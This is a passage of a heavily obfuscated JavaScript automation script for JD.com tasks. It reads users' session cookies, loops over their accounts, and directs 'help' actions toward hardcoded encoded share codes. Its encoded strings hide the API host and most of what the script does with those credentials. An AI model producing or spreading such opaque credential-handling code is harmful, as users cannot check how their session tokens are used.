A==','wpZ6GMOzw6M=','w7PDucKed2g=','wp1Ow4FTw6k=','GBXDg8KQfA==','ccO4Czlc','w605HMKHwqrCsVtlTVk=','ah7ChMOR','LFttOAVQ','5Lim5Ym76aGo5aeK5oiC5YqG776k6I+B5b+IdA==','w5TCkMKhw6dMw64=','w7Plh7jluoc=','5LmV5Ym+6aC/5aa25aeR6LWC77yT','Kl9qJjN8UMKRw6A=','aQQ7w6I=','w6s2w5rDg8Oa','esOUwofDsXg=','GzHDrcK2b8OqeUlVw5ABVAbDthY=','w4AywpLCvMOB','G8KFw4DDgsOx','c3Ulw6TClQ==','NV3Ds8Kv','w5rDi8KGaEg=','TsOvwr8dw5g=','wrdYwrx8Tg==','w58uw6bDjSE=','wqzCshpnw7E=','w4HCqnnCscKk','Gld2BxQ=','a0jCoW3DiMKvw5LCh8OI','YB7CncOV','wo7CnsOpwqnorJfmsKXlpK7otaDvv5vor4HmopPmnZrnvZLotK/phrTorIQ=','CmXDgV3Ckg==','BcKaR8KXZw==','Sh3DjMK3','PVfCtcKTeA==','LGbDkMKJPw==','VBocw77Ciw==','FzTDucKecQ==','CH85wrtR','NypgRMK1GMKVEQPDmTkaXRDCkGMXwqXCrHY=','wqvClRB8w5w=','5beA5Lql5aWASuOBkw==','w7XDt8K6aWg=','5LuW5LmP6LSR5Y+a','GzHDv8K6Yw==','aMKzEkXCpSfCowo=','wqV+w7FSw50=','wpl6NcO8w4g=','w57CvsOLwpPChQ==','MVR7GyY=','M8KUQcK2ZBpfwr3CqkU=','w6PCtsKrw5RG','f8ONwqfDp14=','wrRFwqtldw==','wpR1JcO4','MMK8w6LDgMOUwqHDg8O/w70=','56+X5Yi15ouQ5Yit77+Y6I265b+mZg==','w74/GcKHwrHCrX1Oaw==','UuWEjuW6mg==','C8O7w6LCs8Kh','VMOcwrXDgVQ=','QMOtYh8xwrJmLsO/w4w=','HsO7esOI','5Lu95Ym76aO35aW45ou75YuZ77+C6I+Y5b6Rw7I=','EuWHmeW4lw==','5LuJ5Yip6aKQ5aS85aWy6Le577yp','Z8Oaw7nDsQvCssOQwpHCoA==','56+h5Yms5aWZ6LeX77+U','CMO/esOcwooKwqrDqmI=','w495w54Hw4fDjQ==','R8KuP1jCow==','XTLCicK4w4XDuw==','w7vCqXzCl8KQ','f8O1FDlW','w5tuw7Upw7c=','w67CqUPCs8Ki','KMKJcMKaWg==','WMOOw7XDjwM=','NcKJw73Dp8OP','w61dworDqMKG','SsKfw4vDh8K7wq/ChXMJw7cU','DE7DpFPClTF2fsO4','wqrCoMK7VMO0WjBOYyjCnVNHRsKx','Yj3CmxoH','w6LDicKkR2U=','woB7IsOt','w5fCnMOVwoHCpA==','RhjCksKZw78=','woR1IsOyw7kXwpPCpsKfdyArw5HCtQ==','wotSwrchbg==','VDzCjMKyw5Q=','woTCjsKPVsOX','EXXCjsKybQk=','N0XCpcK1dA==','FsOsQ8KWeA==','QSvCk8OVFw==','w4YEHsK0wpE=','dgTDj8KCKg==','AXs8wr9JIQ==','w7vDsWTDuy4=','wq5zwo0Qdg==','S8OMwrANw7g=','fQvCgsOZD8KxwoNQw7I=','GVvCksKx','aTHCl8O4GA==','GE/CjcKWRA==','wrXClsKiw5hI','YC7Ct8OKAw==','wpJowpEmag==','RSfCiMKqw6M=','bhwjw6HCuQ==','wqrCl8KpXMOg','w444w6TDkcOrwpTCrsKqw6V0','wr1lJ8ODVg==','P2PCl8KYXw==','dMOfLR1K','SGvCimPDvA==','bcO7wpfDhWs=','w77DoUTDsg4=','UMK8Pi4=','wrFzDcOKXMKY','5Li75Ym56aGZ5aWF5oqB5Yqx772o6I6Y5b6HYw==','wrnCu8Kaw70=','wprlhK/luo4=','5Lui5YuK6aOO5aeA5aeN6LWI77yJ','5Lmd5aWy5LqE77y+772b5Lq66LCb5bS86IeJ5Ymm5Y+v5pS9','ScOHMB13','5beU5Lud5aepwpPjg44=','wrVUwqEGXw==','UcOAODltIg==','w5IMw5fDnsO7','BnjClcKBYQ==','Mn1ZIxg=','ZAfClMOkAMKlwoF3w6jCnU85W2ROdno=','w4fDisK6S30=','w43Cm8K5w41a','wpvCvsK/w5td','w7pHw74Qw7k=','N8ODw77CrsK7','QDPCrcKfw7w=','IcKww6DDgQ==','GcOkw5rCrcKC','WMOPwrLDmmU=','YcOew77DrzDCuMKg','wrMLHMONHA==','RMODwoPDuEI=','VcK3M3rCng==','L8KQWMKm','OH3Cg03orZHmsorlporot4Tvvr3orajmo6nmnKLnvq/otbXphoborL8=','ccOQw4fDrTs=','ZcOew7/Dtxw=','w43DvsKwUFc=','I8K6w6fDgMOPwr3DpcOUw5sv','5LmS5Yqk5a2M5oqi5ouE5YmS','5Luj5Yqd5a2f5oiU5aaX6Let7763','QDXCl8Kow5TDocOnwocc','w4zCnsK1w4l6w54=','CsKFT8KZYQ==','L13DhWvCtA==','woJHOMOww5Q=','cMKUB3vCrw==','woLCtMKQWcOo','Wh86w4LCkQ==','wrdrwqpSQg==','K8KJUcKEcwBIwrPCvUtLHMKNw71e','wpchLcOGPw==','fMKDw4nDksKM','wrAmCcO/GQ==','wqIwHMO6Hw==','wr5Gw6xJw6Q=','BlrDi2DCmA==','YgnDlcK9EA==','TsO7wrbDmmc=','wozCli5ww6Y=','KMOTw6LCo8Kg','wrVvwq8+Qw==','w68zG8KG','ThbDj8KXMQ==','wpZJwq4+eA==','ScOOLBdWNMOq','wo0rLcONPw==','w4x1w6gLw5o=','WGQYw5vCsw==','w48pw6LDjcO3wp3ChMKjw7g=','YcKwZcKK6K+h5rC25aSt6Le377+C6K+X5qOK5p6O57696LWg6Ye36Ky9','YsOLw5vDki8=','w5rDuMKVeGo=','dB3DgsKfCw==','AsOResOswqw=','YcODThsh','Bj7DqMK0X8ON','5Lqc5YiU6aKz5aaJ5oi95YuL776e6IyR5b+0wqU=','w51kwrPDmcKQwo8=','wpDlhJLlu4o=','w5TDhXTDpiU=','wqZzw6Nfw6w=','w5DDv8KaVW8=','ecOQw6o=','w5PChcKgw6Vmw4ttw7J4','5LmL5Yui6aGN5aaf5aaU6Lea77+H','QjHCkcKuw4M=','PcKww7Q=','w7fCrMOywpDCqA==','5byI5Ymx5YeP5buL772c','wqTCucKrcg==','w54cw47DkjgVwoEC','wrLCvcKvf8OwTQE=','YsKzC3jCvA==','w7TDoVzDgCM=','PcKww6fDgcOYwqHDn8Ovw5YnNA==','SV0fw6nCvMK7w7fDvMOB','w5M6wo3CncOA','Y8KSHxbDmg==','FVbClsK+bA==','woNKwq1YesKLfxxUw7JpPsOFw4FVwpDCmsOWfSQ8wofDlw==','RxfCpQcKKjZRYgtqwrhdAMOvw6DDrXYGw7M=','NcO2Y8O6wpo=','EF/Ciw==','IsK3w6XDssOZ','VMK5w5fDm8KI','UjrDq8KCLw==','w5UeP8KlwqI=','Uykfw4HChg==','woRww6t1w6DDlsOrw73DhQ==','XsOncQ==','CnbCgsKMcA==','K8KGw7DDncOz','wrowCcOdJA==','wq7CucKydg==','w7PDqMOWw4norpbmsZnlpIPotInvvojorIDmoLXmna7nvZHotZ3ph5DoroM=','V1DCvlfDhA==','dsK7A13Cjg==','w5U/w7LDvsOr','cBLDgMK2Hw==','a8KJw6jDmsKwwrPClUkHw5Mfwp4DW8KMPEAOw7/DvA==','K8OORMOdwow=','w7zDkmfDiinDrcO0w71zbTRSLigdwrtBwoDDvD0=','w5AHw6bDjsO+','5bSy5Lu15aaJM+OCgQ==','w6wYw5PDtcOo','VUXChG3DiMKmw5LCj8OWw5ZHwqHCkcOoJsKLwoDDkMOJJQ==','ecKkHSbDpmM1clNHw6jCqsOkw5ggRUrChwV+','GlXDoV3ClQ0=','G1XCi8KgScKrw6ExwqtkYQ==','EGHCgsKldhY=','NFVqJyRgZMK2w64Bwqw=','wqzCsRZ2w7wu','wrHCqwM=','w65vw64rw5vDkS3CtFPDnUXCsRTDhC9QPWvDjcKu','C303wo5eIQ==','w4oMw6bDhTIuwo4bMg==','wqnCtsK8f8OkSgFc','DMKIYsKqeBp1wrzCqWlkDcKDw71Xwol9C8Oqbw==','w6PCpsOuwonCjgl2K8Kwfz3DmWzCshTCsMKwWgMr','w7AZEcKBwq0=','KgBBV8K0','HDzDosKpXg==','wpLCvSNsw6YyE8KXXXrCoHbCnMOgwolvfcOrw7rDgA==','wq/CncKmYMOk','wp1cGsOWw4M=','wrLCjD9Kw7s=','ecO5wq4V','5YS25o+X5oil5YmA77yh6I+j5byFwoY=','V+WFq+W7vg==','AU4twpBc','5baI5Lq35aWYwonjg6g=','ZMKYCR7DuQ==','wqnCtsK7dsOp','w5/DglPDiAnDosOww7Y=','HRrDosKsbg==','ZxHClMOVGQ==','G1/CkcKzWMKx','w7zDml3DpDQ=','5LqV5Liz5p275Yiy5Zqx6Lyh5ZmI56ur5peU5o+4','VUARw5bCq8KH','wqjCnsKZw7de','SQHCnQUNIRV7','IHvCj8K9awHDn8Odwro=','TRDCn8ObCMKzwpl8w48=','wrRGCcOJcw==','wonCn8Kqw7F7','F3ctwoJt','MxtvWMKK','EnTDhsK/Fw==','P19qNyBmfA==','wqPDjMOVw4cG','esO9wq4Qw7TDrmc=','fcO4w7XDjTE=','wrJALcONaA==','w50bw7vDmzYUwo4=','ccKAHU/CoA==','w50iwrs=','UT/CjMK2w4/Dqg==','PlNyJyRg','HmXDhVjCqA==','XgwZw5nCjQ==','fkgnw5zCqA==','w6fCpmXChA==','w44fw7zDlBMi','5LuP5Ym86aOM5aSZ5oqY5YqS772Q6I6r5b6jLg==','w7s9HMKT','E8OURsK0aRY=','OOWFreW7kg==','wqR8w4pMw7w=','wqF0w51aw4s=','w6wOw4vDuRI=','FMO9w5LCrsKU','ZCDCp8Kbw6M=','QcKVw4vDvsKxwrPCiE8=','wpbCqMKbVcOU','w4/Ct37CvcK/','DUbCqsK5SA==','jSqsrjbiamegiDB.dKcofm.v6XPN=='];(function(_0x1d1db9,_0x17983f,_0x5b09fd){var _0x8c60fd=function(_0x42bd21,_0x194eab,_0x427d2f,_0x7cbcbb,_0x3b240d){_0x194eab=_0x194eab>>0x8,_0x3b240d='po';var _0x5f2075='shift',_0x3d5a9c='push';if(_0x194eab<_0x42bd21){while(--_0x42bd21){_0x7cbcbb=_0x1d1db9[_0x5f2075]();if(_0x194eab===_0x42bd21){_0x194eab=_0x7cbcbb;_0x427d2f=_0x1d1db9[_0x3b240d+'p']();}else if(_0x194eab&&_0x427d2f['replace'](/[SqrbegDBdKfXPN=]/g,'')===_0x194eab){_0x1d1db9[_0x3d5a9c](_0x7cbcbb);}}_0x1d1db9[_0x3d5a9c](_0x1d1db9[_0x5f2075]());}return 0x7b2d2;};return _0x8c60fd(++_0x17983f,_0x5b09fd)>>_0x17983f^_0x5b09fd;}(_0x4a15,0xca,0xca00));var _0xb3c9=function(_0x43ae7a,_0x4c0dd7){_0x43ae7a=~~'0x'['concat'](_0x43ae7a);var _0x2c0d8e=_0x4a15[_0x43ae7a];if(_0xb3c9['GOgjdA']===undefined){(function(){var _0xa2b8b6=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4302a7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xa2b8b6['atob']||(_0xa2b8b6['atob']=function(_0x5e77e4){var _0x404095=String(_0x5e77e4)['replace'](/=+$/,'');for(var _0x45f96a=0x0,_0x13b013,_0x371b2e,_0x187001=0x0,_0x756c0='';_0x371b2e=_0x404095['charAt'](_0x187001++);~_0x371b2e&&(_0x13b013=_0x45f96a%0x4?_0x13b013*0x40+_0x371b2e:_0x371b2e,_0x45f96a++%0x4)?_0x756c0+=String['fromCharCode'](0xff&_0x13b013>>(-0x2*_0x45f96a&0x6)):0x0){_0x371b2e=_0x4302a7['indexOf'](_0x371b2e);}return _0x756c0;});}());var _0x2105c2=function(_0x412c9c,_0x4c0dd7){var _0x5e450c=[],_0x14f21f=0x0,_0x141ee3,_0x4c24f5='',_0x1a0e0b='';_0x412c9c=atob(_0x412c9c);for(var _0x899699=0x0,_0x394ab8=_0x412c9c['length'];_0x899699<_0x394ab8;_0x899699++){_0x1a0e0b+='%'+('00'+_0x412c9c['charCodeAt'](_0x899699)['toString'](0x10))['slice'](-0x2);}_0x412c9c=decodeURIComponent(_0x1a0e0b);for(var _0x349bc6=0x0;_0x349bc6<0x100;_0x349bc6++){_0x5e450c[_0x349bc6]=_0x349bc6;}for(_0x349bc6=0x0;_0x349bc6<0x100;_0x349bc6++){_0x14f21f=(_0x14f21f+_0x5e450c[_0x349bc6]+_0x4c0dd7['charCodeAt'](_0x349bc6%_0x4c0dd7['length']))%0x100;_0x141ee3=_0x5e450c[_0x349bc6];_0x5e450c[_0x349bc6]=_0x5e450c[_0x14f21f];_0x5e450c[_0x14f21f]=_0x141ee3;}_0x349bc6=0x0;_0x14f21f=0x0;for(var _0x293d97=0x0;_0x293d97<_0x412c9c['length'];_0x293d97++){_0x349bc6=(_0x349bc6+0x1)%0x100;_0x14f21f=(_0x14f21f+_0x5e450c[_0x349bc6])%0x100;_0x141ee3=_0x5e450c[_0x349bc6];_0x5e450c[_0x349bc6]=_0x5e450c[_0x14f21f];_0x5e450c[_0x14f21f]=_0x141ee3;_0x4c24f5+=String['fromCharCode'](_0x412c9c['charCodeAt'](_0x293d97)^_0x5e450c[(_0x5e450c[_0x349bc6]+_0x5e450c[_0x14f21f])%0x100]);}return _0x4c24f5;};_0xb3c9['FaVjti']=_0x2105c2;_0xb3c9['IHspGf']={};_0xb3c9['GOgjdA']=!![];}var _0x1177c4=_0xb3c9['IHspGf'][_0x43ae7a];if(_0x1177c4===undefined){if(_0xb3c9['ZKPQom']===undefined){_0xb3c9['ZKPQom']=!![];}_0x2c0d8e=_0xb3c9['FaVjti'](_0x2c0d8e,_0x4c0dd7);_0xb3c9['IHspGf'][_0x43ae7a]=_0x2c0d8e;}else{_0x2c0d8e=_0x1177c4;}return _0x2c0d8e;};let shareCodes=[_0xb3c9('0','eg1*'),_0xb3c9('1','UFS%'),_0xb3c9('2','7hNk'),_0xb3c9('3','#5oK'),_0xb3c9('4','oJ7R'),_0xb3c9('5','D[D@'),_0xb3c9('6','[XP5'),_0xb3c9('7','eAka')];let exchangeFlag=$[_0xb3c9('8','#5oK')](_0xb3c9('9','px$D'))||!!0x1;if($[_0xb3c9('a','7hNk')]()){Object[_0xb3c9('b','8^$1')](jdCookieNode)[_0xb3c9('c','A)dp')](_0x25923b=>{cookiesArr[_0xb3c9('d','sgNu')](jdCookieNode[_0x25923b]);});if(process[_0xb3c9('e','8^$1')][_0xb3c9('f','A)dp')]&&process[_0xb3c9('10','msFj')][_0xb3c9('11','RRYS')]===_0xb3c9('12','D[D@'))console[_0xb3c9('13','7hNk')]=()=>{};}else{cookiesArr=[$[_0xb3c9('14','SI8%')](_0xb3c9('15','xgMb')),$[_0xb3c9('16','QPLX')](_0xb3c9('17','Hi&L')),...jsonParse($[_0xb3c9('18','O^Ux')](_0xb3c9('19','Hi&L'))||'[]')[_0xb3c9('1a','Us6T')](_0x510010=>_0x510010[_0xb3c9('1b','lVDY')])][_0xb3c9('1c','RRYS')](_0x5aa59a=>!!_0x5aa59a);}const JD_API_HOST=_0xb3c9('1d','pLk9');!(async()=>{var _0x28ece5={'WlNlt':function(_0x1a4e63,_0x5df613){return _0x1a4e63(_0x5df613);},'zszrO':function(_0x34c9f2,_0x267844){return _0x34c9f2===_0x267844;},'QTkxP':_0xb3c9('1e','USUq'),'SSDwk':_0xb3c9('1f','0XYQ'),'KOeRc':_0xb3c9('20','eg1*'),'CbXgT':_0xb3c9('21','UWcU'),'USSLJ':function(_0x406455){return _0x406455();},'oODMx':function(_0x3062a9,_0x694432){return _0x3062a9===_0x694432;},'Euxbz':_0xb3c9('22','8^$1'),'nPPcr':_0xb3c9('23','SI8%'),'LquxU':function(_0xffac02,_0x57c62e){return _0xffac02<_0x57c62e;},'fBkHT':function(_0x27c1d1,_0x3d81bb){return _0x27c1d1!==_0x3d81bb;},'HUmdv':_0xb3c9('24','RRYS'),'eyKQM':function(_0x51a8c1,_0x500e01){return _0x51a8c1===_0x500e01;},'cZwYY':_0xb3c9('25','O^Ux'),'KBwKB':_0xb3c9('26','vGPn'),'MhvwO':function(_0x232632,_0x3f98ef){return _0x232632(_0x3f98ef);},'Zudgs':function(_0x4a2338,_0x9e9ddf){return _0x4a2338+_0x9e9ddf;},'eQcdc':function(_0x56ced9){return _0x56ced9();},'Ybmgr':function(_0x50b2e5){return _0x50b2e5();},'OSNnt':function(_0x18cecd,_0x350357){return _0x18cecd===_0x350357;},'txghA':_0xb3c9('27','pLk9'),'hEQqr':_0xb3c9('28','vGPn'),'zYRiV':_0xb3c9('29','QPLX'),'XcUDL':function(_0x54c212,_0x36e3f9){return _0x54c212(_0x36e3f9);},'BaITh':function(_0x33e3cd,_0x23e69f){return _0x33e3cd!==_0x23e69f;},'KcFSv':function(_0x4dc6c6,_0x261dca,_0x4d0395){return _0x4dc6c6(_0x261dca,_0x4d0395);}};if(!cookiesArr[0x0]){$[_0xb3c9('2a','XZos')]($[_0xb3c9('2b','Hi&L')],_0x28ece5[_0xb3c9('2c','O^Ux')],_0x28ece5[_0xb3c9('2d','[XP5')],{'open-url':_0x28ece5[_0xb3c9('2e','FlxD')]});return;}$[_0xb3c9('2f','Hi&L')]=[];await _0x28ece5[_0xb3c9('30','p8(G')](requireConfig);if(exchangeFlag){if(_0x28ece5[_0xb3c9('31','IV4a')](_0x28ece5[_0xb3c9('32','#5oK')],_0x28ece5[_0xb3c9('33','*IUv')])){return JSON[_0xb3c9('34','RRYS')](str);}else{console[_0xb3c9('35','px$D')](_0xb3c9('36','D[D@'));}}else{console[_0xb3c9('37','eg1*')](_0xb3c9('38','8Yzp'));}for(let _0x43bcce=0x0;_0x28ece5[_0xb3c9('39','Xorc')](_0x43bcce,cookiesArr[_0xb3c9('3a','pLk9')]);_0x43bcce++){if(_0x28ece5[_0xb3c9('3b','A&sp')](_0x28ece5[_0xb3c9('3c','px$D')],_0x28ece5[_0xb3c9('3d','sgNu')])){console[_0xb3c9('3e','pLk9')](_0xb3c9('3f','Tq0]'));}else{if(cookiesArr[_0x43bcce]){if(_0x28ece5[_0xb3c9('40','54E@')](_0x28ece5[_0xb3c9('41','8Yzp')],_0x28ece5[_0xb3c9('42','8^$1')])){$[_0xb3c9('43','12Q8')]=$[_0xb3c9('44','Tq0]')];}else{cookie=cookiesArr[_0x43bcce];$[_0xb3c9('45','54E@')]=_0x28ece5[_0xb3c9('46','4&jl')](decodeURIComponent,cookie[_0xb3c9('47','sgNu')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0xb3c9('48','oJ7R')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0xb3c9('49','px$D')]=_0x28ece5[_0xb3c9('4a','eg1*')](_0x43bcce,0x1);$[_0xb3c9('4b','x1NV')]=!![];$[_0xb3c9('4c','8Yzp')]='';message='';await _0x28ece5[_0xb3c9('4d','#5oK')](TotalBean);console[_0xb3c9('4e','Hi&L')](_0xb3c9('4f','sgNu')+$[_0xb3c9('50','Xorc')]+'】'+($[_0xb3c9('51','UWcU')]||$[_0xb3c9('52','*IUv')])+_0xb3c9('53','8^$1'));if(!$[_0xb3c9('54','54E@')]){$[_0xb3c9('55','56Y[')]($[_0xb3c9('56','*IUv')],_0xb3c9('57','x1NV'),_0xb3c9('58','pLk9')+$[_0xb3c9('59','4&jl')]+'\x20'+($[_0xb3c9('5a','A)dp')]||$[_0xb3c9('5b','D[D@')])+_0xb3c9('5c','A)dp'),{'open-url':_0x28ece5[_0xb3c9('5d','W%VK')]});if($[_0xb3c9('5e','A&sp')]()){await notify[_0xb3c9('5f',']q[h')]($[_0xb3c9('60','XZos')]+_0xb3c9('61','*IUv')+$[_0xb3c9('62','px$D')],_0xb3c9('63','ST6I')+$[_0xb3c9('64','*IUv')]+'\x20'+$[_0xb3c9('65',']q[h')]+_0xb3c9('66',']q[h'));}continue;}await _0x28ece5[_0xb3c9('67','sgNu')](jxd);await _0x28ece5[_0xb3c9('68','bu#e')](showMsg);await $[_0xb3c9('69','lVDY')](0x3e8);}}}}if(allMessage){if($[_0xb3c9('6a','eAka')]())await notify[_0xb3c9('6b','56Y[')]($[_0xb3c9('6c','xgMb')],allMessage);$[_0xb3c9('6d','7hNk')]($[_0xb3c9('6e','sgNu')],'',allMessage);}let _0x58a6f3=[];cookiesArr[_0xb3c9('6f','8^$1')](_0x2e382d=>{if(_0x28ece5[_0xb3c9('70','56Y[')](_0x28ece5[_0xb3c9('71','msFj')],_0x28ece5[_0xb3c9('72','BA!&')])){if(_0x28ece5[_0xb3c9('73','j]ox')](safeGet,data)){data=JSON[_0xb3c9('74','54E@')](data);if(_0x28ece5[_0xb3c9('75','54E@')](data[_0xb3c9('76','p8(G')],0xc8)){console[_0xb3c9('77','8^$1')](_0xb3c9('78','eg1*')+data[_0xb3c9('79','8Yzp')][_0xb3c9('7a','eAka')][_0xb3c9('7b','bu#e')](/,/g,''));}}}else{_0x58a6f3[_0xb3c9('7c','%YG$')](_0x2e382d[_0xb3c9('7d','O^Ux')](/pt_pin=([^; ]+)(?=;?)/)&&_0x2e382d[_0xb3c9('7d','O^Ux')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);}});_0x58a6f3=[...new Set([..._0x58a6f3,...shareCodes])];for(let _0x43bcce=0x0;_0x28ece5[_0xb3c9('7e','wR@t')](_0x43bcce,cookiesArr[_0xb3c9('7f','kKc[')]);_0x43bcce++){if(_0x28ece5[_0xb3c9('80','oJ7R')](_0x28ece5[_0xb3c9('81','4&jl')],_0x28ece5[_0xb3c9('82','oJ7R')])){data=JSON[_0xb3c9('83','eg1*')](data);console[_0xb3c9('84','x1NV')](data[_0xb3c9('85','8^$1')]);}else{if(cookiesArr[_0x43bcce]){if(_0x28ece5[_0xb3c9('86','0XYQ')](_0x28ece5[_0xb3c9('87','USUq')],_0x28ece5[_0xb3c9('88','O^Ux')])){console[_0xb3c9('4e','Hi&L')](''+JSON[_0xb3c9('89','eg1*')](err));console[_0xb3c9('8a','eAka')]($[_0xb3c9('8b','oJ7R')]+_0xb3c9('8c','Hi&L'));}else{cookie=cookiesArr[_0x43bcce];$[_0xb3c9('8d','56Y[')]=_0x28ece5[_0xb3c9('8e','USUq')](decodeURIComponent,cookie[_0xb3c9('8f','A&sp')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0xb3c9('90','SI8%')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0xb3c9('91','QPLX')]=_0x28ece5[_0xb3c9('92','msFj')](_0x43bcce,0x1);console[_0xb3c9('93','54E@')](_0xb3c9('94','Xorc')+$[_0xb3c9('95',']q[h')]+_0xb3c9('96','oJ7R'));for(let _0x411017 of $[_0xb3c9('97','sgNu')]){console[_0xb3c9('35','px$D')](_0xb3c9('98','4&jl')+_0x411017+'】');for(let _0x347568 of _0x58a6f3){if(!cookie[_0xb3c9('99','7hNk')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('9a','sgNu')](_0xb3c9('9b','#5oK'));let _0x367775=cookie[_0xb3c9('47','sgNu')](/pt_pin=([^; ]+)(?=;?)/)[0x1];if(_0x28ece5[_0xb3c9('9c','RRYS')](_0x347568,_0x367775)){await _0x28ece5[_0xb3c9('9d','px$D')](helpFriend,_0x411017,_0x347568);await $[_0xb3c9('9e','BA!&')](0x3e8);}}await $[_0xb3c9('9f','12Q8')](0x1388);}}}}}})()[_0xb3c9('a0','xgMb')](_0x13db33=>{$[_0xb3c9('a1','Us6T')]('','❌\x20'+$[_0xb3c9('a2','O^Ux')]+_0xb3c9('a3','A&sp')+_0x13db33+'!','');})[_0xb3c9('a4','j]ox')](()=>{$[_0xb3c9('a5','vGPn')]();});async function jxd(){var _0x574fba={'WDulQ':_0xb3c9('a6','%YG$'),'Bzzks':function(_0x3733c7){return _0x3733c7();},'gWfqB':function(_0x4d063b){return _0x4d063b();},'FgylH':function(_0x57acdd){return _0x57acdd();},'SyoYu':function(_0x3360db,_0x1a6e1a){return _0x3360db===_0x1a6e1a;}};var _0x970f44=_0x574fba[_0xb3c9('a7','A&sp')][_0xb3c9('a8','vGPn')]('|'),_0x39b1cb=0x0;while(!![]){switch(_0x970f44[_0x39b1cb++]){case'0':await _0x574fba[_0xb3c9('a9','XZos')](getUserInfo);continue;case'1':await _0x574fba[_0xb3c9('aa','USUq')](getMyLotteryInformation);continue;case'2':await $[_0xb3c9('ab','8^$1')](0x3e8);continue;case'3':await $[_0xb3c9('ac','[XP5')](0x3e8);continue;case'4':$['db']=0x0;continue;case'5':await _0x574fba[_0xb3c9('ad','A&sp')](sign);continue;case'6':await _0x574fba[_0xb3c9('ae','Tq0]')](getMyWinningInformation);continue;case'7':await _0x574fba[_0xb3c9('af','wR@t')](getMainTask);continue;case'8':await _0x574fba[_0xb3c9('b0','XZos')](getWelfareInfo);continue;case'9':await $[_0xb3c9('b1','bu#e')](0x3e8);continue;case'10':if(_0x574fba[_0xb3c9('b2','ST6I')]($[_0xb3c9('59','4&jl')],0x1)){$[_0xb3c9('b3','A)dp')]=[];}continue;}break;}}function showMsg(){var _0x113654={'BFoLe':function(_0x22bedd,_0x392698){return _0x22bedd(_0x392698);},'ccGwI':function(_0x364307,_0x4170c0){return _0x364307!==_0x4170c0;},'pdvIu':_0xb3c9('b4','FlxD'),'aUlno':function(_0x3ab7f9){return _0x3ab7f9();}};return new Promise(_0x184f8e=>{var _0x33c617={'YWAUz':function(_0x5bd68a,_0x2ccbb9){return _0x113654[_0xb3c9('b5','wR@t')](_0x5bd68a,_0x2ccbb9);}};if(_0x113654[_0xb3c9('b6','x1NV')](_0x113654[_0xb3c9('b7','kKc[')],_0x113654[_0xb3c9('b8','UFS%')])){if(err){console[_0xb3c9('b9','SI8%')](''+JSON[_0xb3c9('ba','KqoH')](err));console[_0xb3c9('bb','UFS%')]($[_0xb3c9('bc','BA!&')]+_0xb3c9('bd','%YG$'));}else{if(_0x33c617[_0xb3c9('be','KqoH')](safeGet,data)){data=JSON[_0xb3c9('bf','msFj')](data);console[_0xb3c9('c0','QPLX')](data[_0xb3c9('c1','#5oK')]);}}}else{message+=_0xb3c9('c2','A&sp')+$['db']+_0xb3c9('c3','W%VK');if(!jdNotify){$[_0xb3c9('c4','%YG$')]($[_0xb3c9('56','*IUv')],'',''+message);}else{$[_0xb3c9('c5','O^Ux')](_0xb3c9('c6','0XYQ')+$[_0xb3c9('91','QPLX')]+$[_0xb3c9('c7','sgNu')]+'\x0a'+message);}_0x113654[_0xb3c9('c8','4&jl')](_0x184f8e);}});}function getMainTask(){var _0x38d83f={'nrRoW':_0xb3c9('c9',']q[h'),'aHWoM':_0xb3c9('ca','vGPn'),'FWBnC':function(_0x58f300,_0x49b7f1){return _0x58f300==_0x49b7f1;},'Hkkjw':_0xb3c9('cb','UWcU'),'XjLBx':function(_0x599e32,_0x8a7be7){return _0x599e32===_0x8a7be7;},'dVODJ':_0xb3c9('cc','oJ7R'),'cJHjE':_0xb3c9('cd','56Y['),'XhcmS':_0xb3c9('ce','FlxD'),'AJXNK':function(_0xadeb64,_0x37cd45){return _0xadeb64(_0x37cd45);},'GlCgC':function(_0x257bce,_0xf73cf1){return _0x257bce===_0xf73cf1;},'RdzxR':function(_0x3a6de4){return _0x3a6de4();},'MBSag':function(_0x3d870b,_0x412957){return _0x3d870b===_0x412957;},'SiAld':_0xb3c9('cf','QPLX'),'VcdFI':function(_0x37b050,_0x3ee000){return _0x37b050!==_0x3ee000;},'rskzT':_0xb3c9('d0',']q[h'),'YogxP':function(_0x18df3d,_0x2f754d){return _0x18df3d(_0x2f754d);},'PpcJn':_0xb3c9('d1','#5oK'),'ZskAO':_0xb3c9('d2','7hNk'),'holNu':function(_0x43b059,_0x2c82e6){return _0x43b059>_0x2c82e6;},'xUpIu':function(_0x4a1a99,_0x347a6d){return _0x4a1a99===_0x347a6d;},'AbKpO':_0xb3c9('d3','px$D'),'kVoaN':function(_0x407c13,_0xfadda8){return _0x407c13<=_0xfadda8;},'bKukW':function(_0x57af13,_0x2345cb){return _0x57af13<=_0x2345cb;},'BbzyX':function(_0x273b7b,_0x23bbac){return _0x273b7b===_0x23bbac;},'jzQcT':_0xb3c9('d4','XZos'),'ScrzW':_0xb3c9('d5','QPLX'),'CkTvG':function(_0x294070){return _0x294070();},'cTdUN':function(_0x46b192,_0x1be444){return _0x46b192===_0x1be444;},'MVPpk':_0xb3c9('d6','#5oK'),'wRNvj':function(_0x427ac4){return _0x427ac4();},'SMsGu':function(_0x10c3c2){return _0x10c3c2();},'EEUoZ':function(_0x3c94c3,_0xd55657){return _0x3c94c3===_0xd55657;},'PCdAL':_0xb3c9('d7','#5oK'),'HpdOQ':_0xb3c9('d8','A)dp'),'rSYGU':function(_0x557ee5,_0x42cf4a){return _0x557ee5(_0x42cf4a);},'RIrIG':function(_0x2f30ed,_0x393ef0){return _0x2f30ed===_0x393ef0;},'WuiET':_0xb3c9('d9','sgNu'),'XvfOl':function(_0x5ce73a,_0x38f725){return _0x5ce73a(_0x38f725);},'KAJgd':function(_0x297371,_0x2a53e0){return _0x297371===_0x2a53e0;},'ALCog':function(_0x1cf0b9,_0x3fbf35){return _0x1cf0b9<_0x3fbf35;},'VtJig':function(_0x3e361e,_0xa829c1){return _0x3e361e+_0xa829c1;},'ClzLX':function(_0x16cbd4,_0x422d28){return _0x16cbd4*_0x422d28;},'bjbtO':function(_0x499684,_0x346cc1){return _0x499684(_0x346cc1);},'bXJrr':function(_0x4d3084,_0x1df13f){return 